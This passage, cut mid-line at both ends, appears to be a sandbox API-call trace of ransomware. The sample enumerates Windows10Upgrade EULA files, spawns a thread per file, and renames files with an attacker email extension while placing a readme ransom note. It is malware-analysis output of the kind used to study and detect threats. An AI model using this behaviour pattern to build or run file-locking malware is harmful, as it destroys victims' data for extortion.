_Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731" [0075.973] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.973] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0075.973] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm", dwFileAttributes=0x20) returned 0 [0075.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dd90 [0075.973] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0075.973] wcscat (in: _Dest=0x347dd90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0075.974] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0075.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0075.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e2d0) returned 1 [0075.974] RtlExitUserThread (Status=0x1) Thread: id = 788 os_tid = 0x1388 [0075.970] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x341f198 [0075.975] wcscpy (in: _Dest=0x341f198, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0075.975] wcscat (in: _Dest=0x341f198, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0075.975] wcscat (in: _Dest=0x341f198, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\*" [0075.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4380 [0075.975] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\*", lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea5f6eb5, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0518 [0075.977] wcscmp (_String1=".", _String2=".") returned 0 [0075.977] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea5f6eb5, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.978] wcscmp (_String1="..", _String2=".") returned 1 [0075.978] wcscmp (_String1="..", _String2="..") returned 0 [0075.978] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c6124, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c6124, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1af6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ar-sa.htm", cAlternateFileName="EULA_A~1.HTM")) returned 1 [0075.978] wcscmp (_String1="EULA_ar-sa.htm", _String2=".") returned 1 [0075.978] wcscmp (_String1="EULA_ar-sa.htm", _String2="..") returned 1 [0075.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479f88 [0075.978] wcscpy (in: _Dest=0x3479f88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0075.978] wcscat (in: _Dest=0x3479f88, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0075.978] wcscat (in: _Dest=0x3479f88, _Source="EULA_ar-sa.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" [0076.612] Sleep (dwMilliseconds=0x1) [0076.622] Sleep (dwMilliseconds=0x1) [0077.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4 [0077.674] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c74ab, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c74ab, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3de0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_bg-bg.htm", cAlternateFileName="EULA_B~1.HTM")) returned 1 [0077.674] wcscmp (_String1="EULA_bg-bg.htm", _String2=".") returned 1 [0077.674] wcscmp (_String1="EULA_bg-bg.htm", _String2="..") returned 1 [0077.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479e20 [0077.674] wcscpy (in: _Dest=0x3479e20, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.674] wcscat (in: _Dest=0x3479e20, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.674] wcscat (in: _Dest=0x3479e20, _Source="EULA_bg-bg.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" [0077.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0077.675] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c882e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c882e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x14573, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_cs-cz.htm", cAlternateFileName="EULA_C~1.HTM")) returned 1 [0077.675] wcscmp (_String1="EULA_cs-cz.htm", _String2=".") returned 1 [0077.675] wcscmp (_String1="EULA_cs-cz.htm", _String2="..") returned 1 [0077.675] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479e98 [0077.675] wcscpy (in: _Dest=0x3479e98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.675] wcscat (in: _Dest=0x3479e98, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.675] wcscat (in: _Dest=0x3479e98, _Source="EULA_cs-cz.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" [0077.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790 [0077.675] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3caf18, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3caf18, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xfe95, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_da-dk.htm", cAlternateFileName="EULA_D~1.HTM")) returned 1 [0077.675] wcscmp (_String1="EULA_da-dk.htm", _String2=".") returned 1 [0077.675] wcscmp (_String1="EULA_da-dk.htm", _String2="..") returned 1 [0077.675] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x34798f8 [0077.676] wcscpy (in: _Dest=0x34798f8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.676] wcscat (in: _Dest=0x34798f8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.676] wcscat (in: _Dest=0x34798f8, _Source="EULA_da-dk.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" [0077.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34798f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0077.676] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d10e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d10e9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1133d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_de-de.htm", cAlternateFileName="EULA_D~2.HTM")) returned 1 [0077.676] wcscmp (_String1="EULA_de-de.htm", _String2=".") returned 1 [0077.676] wcscmp (_String1="EULA_de-de.htm", _String2="..") returned 1 [0077.676] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x34799e8 [0077.676] wcscpy (in: _Dest=0x34799e8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.676] wcscat (in: _Dest=0x34799e8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.676] wcscat (in: _Dest=0x34799e8, _Source="EULA_de-de.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" [0077.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34799e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c [0077.677] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d2466, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d2466, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3a756, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_el-gr.htm", cAlternateFileName="EULA_E~1.HTM")) returned 1 [0077.677] wcscmp (_String1="EULA_el-gr.htm", _String2=".") returned 1 [0077.677] wcscmp (_String1="EULA_el-gr.htm", _String2="..") returned 1 [0077.677] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479ad8 [0077.677] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.677] wcscat (in: _Dest=0x3479ad8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.677] wcscat (in: _Dest=0x3479ad8, _Source="EULA_el-gr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" [0077.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479ad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788 [0077.678] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d5f05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d5f05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xe4b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_en-gb.htm", cAlternateFileName="EULA_E~2.HTM")) returned 1 [0077.678] wcscmp (_String1="EULA_en-gb.htm", _String2=".") returned 1 [0077.678] wcscmp (_String1="EULA_en-gb.htm", _String2="..") returned 1 [0077.678] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479bc8 [0077.678] wcscpy (in: _Dest=0x3479bc8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.678] wcscat (in: _Dest=0x3479bc8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.678] wcscat (in: _Dest=0x3479bc8, _Source="EULA_en-gb.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" [0077.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344 [0077.679] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d997f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d997f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xe4b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_en-us.htm", cAlternateFileName="EULA_E~3.HTM")) returned 1 [0077.679] wcscmp (_String1="EULA_en-us.htm", _String2=".") returned 1 [0077.679] wcscmp (_String1="EULA_en-us.htm", _String2="..") returned 1 [0077.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479c40 [0077.679] wcscpy (in: _Dest=0x3479c40, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.679] wcscat (in: _Dest=0x3479c40, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.679] wcscat (in: _Dest=0x3479c40, _Source="EULA_en-us.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" [0077.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780 [0077.680] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dad37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dad37, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x110b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_es-es.htm", cAlternateFileName="EULA_E~4.HTM")) returned 1 [0077.680] wcscmp (_String1="EULA_es-es.htm", _String2=".") returned 1 [0077.680] wcscmp (_String1="EULA_es-es.htm", _String2="..") returned 1 [0077.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479970 [0077.680] wcscpy (in: _Dest=0x3479970, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.680] wcscat (in: _Dest=0x3479970, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.680] wcscat (in: _Dest=0x3479970, _Source="EULA_es-es.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm" [0077.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390 [0077.681] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dc0bd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dc0bd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x110b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_es-mx.htm", cAlternateFileName="EU6344~1.HTM")) returned 1 [0077.681] wcscmp (_String1="EULA_es-mx.htm", _String2=".") returned 1 [0077.681] wcscmp (_String1="EULA_es-mx.htm", _String2="..") returned 1 [0077.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479d30 [0077.681] wcscpy (in: _Dest=0x3479d30, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.681] wcscat (in: _Dest=0x3479d30, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.681] wcscat (in: _Dest=0x3479d30, _Source="EULA_es-mx.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" [0077.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0077.682] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dd45a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dd45a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xf67d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_et-ee.htm", cAlternateFileName="EU56AC~1.HTM")) returned 1 [0077.682] wcscmp (_String1="EULA_et-ee.htm", _String2=".") returned 1 [0077.682] wcscmp (_String1="EULA_et-ee.htm", _String2="..") returned 1 [0077.682] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479b50 [0077.682] wcscpy (in: _Dest=0x3479b50, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.682] wcscat (in: _Dest=0x3479b50, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.682] wcscat (in: _Dest=0x3479b50, _Source="EULA_et-ee.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" [0077.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380 [0077.683] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dfb2b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dfb2b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1145a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_fi-fi.htm", cAlternateFileName="EULA_F~1.HTM")) returned 1 [0077.683] wcscmp (_String1="EULA_fi-fi.htm", _String2=".") returned 1 [0077.683] wcscmp (_String1="EULA_fi-fi.htm", _String2="..") returned 1 [0077.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479da8 [0077.683] wcscpy (in: _Dest=0x3479da8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.683] wcscat (in: _Dest=0x3479da8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.683] wcscat (in: _Dest=0x3479da8, _Source="EULA_fi-fi.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" [0077.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0077.683] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e0ee6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e0ee6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_fr-ca.htm", cAlternateFileName="EULA_F~2.HTM")) returned 1 [0077.684] wcscmp (_String1="EULA_fr-ca.htm", _String2=".") returned 1 [0077.684] wcscmp (_String1="EULA_fr-ca.htm", _String2="..") returned 1 [0077.684] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480840 [0077.684] wcscpy (in: _Dest=0x3480840, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0077.684] wcscat (in: _Dest=0x3480840, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0077.684] wcscat (in: _Dest=0x3480840, _Source="EULA_fr-ca.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" [0077.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3480840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0077.684] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e2266, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e2266, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_fr-fr.htm", cAlternateFileName="EULA_F~3.HTM")) returned 1 [0077.684] wcscmp (_String1="EULA_fr-fr.htm", _String2=".") returned 1 [0077.685] wcscmp (_String1="EULA_fr-fr.htm", _String2="..") returned 1 [0077.685] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480750 [0077.685] wcscpy (in: _Dest=0x3480750, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: 